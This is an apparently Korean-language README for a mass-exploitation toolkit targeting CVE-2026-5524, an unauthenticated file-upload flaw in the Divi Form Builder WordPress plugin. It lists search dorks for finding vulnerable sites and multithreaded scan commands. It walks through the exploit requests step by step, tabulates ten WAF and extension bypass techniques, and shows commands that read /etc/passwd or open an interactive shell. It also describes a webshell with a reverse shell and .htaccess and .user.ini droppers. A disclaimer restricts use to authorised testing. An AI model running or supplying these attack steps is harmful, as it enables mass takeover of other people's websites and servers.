
대량 익스플로잇 툴킷으로, Divi Form Builder의 인증되지 않은 파일 업로드 RCE 취약점인 CVE-2026-5524를 대상으로 합니다. 멀티스레드 스캐닝, WAF 우회 기법, 맞춤형 웹셸 배포, 대화형 명령 실행 기능을 제공합니다.
CVE-2026-5524에 대한 대량 익스플로잇 툴킷으로, WordPress 플러그인 Divi Form Builder <= 5.1.8의 인증되지 않은 임의 파일 업로드 취약점을 악용하여 원격 코드 실행으로 이어집니다.
| 필드 | 값 |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (치명적) |
| 벡터 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 영향 범위 | Divi Form Builder <= 5.1.8 |
| 패치 버전 | 5.1.9 |
| 유형 | 인증되지 않은 파일 업로드를 통한 RCE |
| 연구자 | 0xd4rk5id3 - EnvoraSec |
WordPress용 Divi Form Builder 플러그인에는 인증되지 않은 임의 파일 업로드 취약점이 있습니다. do_image_upload() 핸들러는 사용자가 제어하는 acceptFileTypes POST 매개변수를 파일 확장자를 검증하는 데 사용되는 정규 표현식에 직접 전달합니다. 공격자는 phtml과 같은 값을 제공하여 .php 확장자만 차단하는 플러그인의 .htaccess 규칙을 우회하고 PHP 실행 가능 확장자(.phtml, .phar, .php5, .php7 등)를 가진 웹셸을 업로드할 수 있습니다.
파일이 /wp-content/uploads/de_fb_uploads/에 저장되면 Apache가 이를 PHP로 실행하여 공격자에게 웹 서버 사용자 권한의 원격 코드 실행을 부여합니다.
이 문제는 Divi Form Builder 5.1.9에서 수정되었습니다.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
요구 사항: Linux, macOS 또는 WSL에서 Python 3.8 이상.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
WAF(NinjaFirewall, Wordfence, ModSecurity) 뒤에 있거나 강화된 Apache 또는 nginx 구성을 사용하는 대상을 위한 방법입니다.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
업로드 성공 후 스크립트는 즉시 명령을 실행하거나 대화형 셸로 전환할 수 있습니다.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
취약한 핸들러는 사용자 입력을 검증 없이 정규 표현식으로 구성합니다.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
acceptFileTypes=phtml을 보내면 결과 정규 표현식 /\.(phtml)$/i이 .phtml로 끝나는 파일 이름과 일치합니다. 플러그인 자체 .htaccess 파일은 .php 확장자만 차단하므로 Apache는 업로드된 파일을 PHP로 실행하여 원격 코드 실행이 발생합니다.
Divi Form Builder 양식이 포함된 페이지(/, /contact, /quote 등)를 크롤링합니다. Varnish, WP Rocket 및 기타 페이지 캐시가 오래된 nonce를 제공하지 않도록 ?nocache=<random> 매개변수를 추가합니다.
로컬라이즈된 JavaScript 객체에서 fb_nonce 값을 추출합니다.
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
/wp-admin/admin-ajax.php에 다음 multipart 양식을 POST합니다.
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
JSON 응답에서 파일 URL을 읽습니다.
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
base64로 인코딩된 명령을 사용하여 셸을 요청합니다.
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
스크립트는 우선순위에 따라 각 기법을 시도하며, --aggressive가 설정된 경우 첫 번째 업로드가 성공한 후에도 모든 기법을 시도합니다.
cve-2026-5524/
|-- CVE-2026-5524.py Main exploit script
|-- bypass.phtml 16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt Example target list
|-- pwned.jsonl Generated by the -o flag during mass scans
|-- requirements.txt Python dependencies
`-- README.md This document
+--------------------------------------------------+
| 1. Recon |
| GET /?nocache=<random> |
| Parse fb_nonce from de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Craft exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Server accepts and stores file |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Execute |
| GET shell.phtml?x=base64(command) |
| Remote code execution achieved |
+--------------------------------------------------+
이 도구는 교육 목적과 승인된 침투 테스트 작업 중 사용을 위해 제공됩니다. 허용 가능한 사용 예시는 다음과 같습니다.
소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 사실상 모든 관할권에서 불법이며 엄격히 금지됩니다. 저자는 이 코드의 오용을 묵인하거나 책임지지 않습니다.
J'ai la permission et je suis autorisé à effectuer ce pentest. (I have permission and I am authorized to perform this pentest.)
관련될 가능성이 있는 법률로는 인도네시아의 UU ITE, 미국 컴퓨터 사기 및 남용법(Computer Fraud and Abuse Act), 유럽 연합 사이버 범죄 협약(Cybercrime Convention), 그리고 다른 국가의 유사한 법률이 있습니다. 확실하지 않은 경우 먼저 서면 승인을 받으십시오.
교육용으로만 사용하십시오. 전체 사용 약관은 면책 조항 섹션을 참조하십시오.
| 플래그 | 설명 |
|---|
-u URL | 단일 대상 URL |
-l FILE | 줄당 하나의 URL이 포함된 대상 목록 파일 |
-t N | 동시 스레드 수 (기본값 10) |
--timeout N | 요청 제한 시간(초) (기본값 15) |
-o FILE | 결과를 JSONL 출력 파일로 저장 |
--proxy URL | HTTP 프록시를 통해 트래픽 전송 |
--nonce HASH | 수동으로 제공된 nonce 사용, 자동 감지 건너뜀 |
--ext EXT | 전체 우회 목록 대신 단일 확장자 강제 사용 |
--shell | 성공 시 대화형 RCE 셸로 전환 (단일 대상 전용) |
--cmd CMD | 대상에서 하나의 명령을 실행한 후 종료 |
--shell-file FILE | 내장 페이로드 대신 사용자 정의 셸 페이로드 업로드 |
--no-verify | 업로드 후 RCE 검증 단계 건너뜀 |
--strict-verify | 셸 URL이 HTTP 200을 반환하는지 확인하여 오탐 필터링 |
--user-ini | PHP-FPM 환경용 .user.ini 드로퍼 업로드 |
--htaccess | Apache 환경용 .htaccess 재활성화 파일 업로드 |
--aggressive | 사용 가능한 모든 우회 기법 활성화 |
--null-byte | 널 바이트 및 이중 확장자 시도 포함 |
--path-traversal | /uploads/YYYY/MM/ 하위 디렉터리에 업로드 시도 |
--debug | 진단을 위해 원시 HTTP 응답 출력 |
| # | 기법 | 대상 |
|---|
| 1 | 대체 PHP 확장자 .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | .php만 차단하는 플러그인 .htaccess 규칙 |
| 2 | 대소문자 변형 .PHTML, .PHP5, .PhTmL | 대소문자 구분 WAF 시그니처 (NinjaFirewall) |
| 3 | 이중 확장자 .phtml.jpg, .php.jpg | Apache mod_mime 콘텐츠 협상 결함 |
| 4 | 널 바이트 .php%00.jpg, .phtml%00.txt | 구형 PHP 버전 (5.3.4 미만) 및 일부 파서 |
| 5 | 후행 공백 또는 점 .php , .php. | Windows IIS 및 구형 Apache 버전 |
| 6 | Content-Type 스푸핑 application/octet-stream | multipart Content-Type 헤더를 기준으로 차단하는 WAF |
| 7 | .gif, .png, .jpg, .txt, .html 등에서 PHP를 다시 활성화하는 실제 .htaccess 업로드 | AllowOverride All이 설정된 Apache 서버 |
| 8 | auto_prepend_file이 포함된 .user.ini 업로드 | PHP-FPM 환경 |
| 9 | multipart 경계 조작을 통한 파일 이름 주입 | 요청 본문을 다시 파싱하는 프록시 및 WAF |
| 10 | 파일 이름의 경로 탐색 ../shell.phtml | 플러그인 디렉터리 제한 |
| 구성 요소 | 기술 |
|---|
| 언어 | Python 3.8+ |
| HTTP 클라이언트 | requests |
| TLS 처리 | 자체 서명 인증서용 비보안 모드의 urllib3 |
| 동시성 | 대량 스캔용 concurrent.futures.ThreadPoolExecutor |
| 파싱 | nonce 추출용 re, 응답 처리용 json |
| 인코딩 | 웹셸 명령 매개변수용 base64 |
| CLI | 19개의 구성 가능한 플래그가 있는 argparse |
| 구성 요소 | 기술 |
|---|
| 언어 | PHP 7.0+ |
| 실행 함수 | system(), shell_exec(), proc_open(), passthru(), popen() |
| 프론트엔드 | JavaScript 프레임워크 없는 일반 HTML 양식 |
| 기능 | 파일 브라우저, 명령 실행, 데이터베이스 액세스, 리버스 셸, 자체 설치 .htaccess 및 .user.ini |
| 크기 | 약 16 KB |
| 우회 계층 | 6개의 독립적인 실행 경로 및 인코딩된 페이로드 |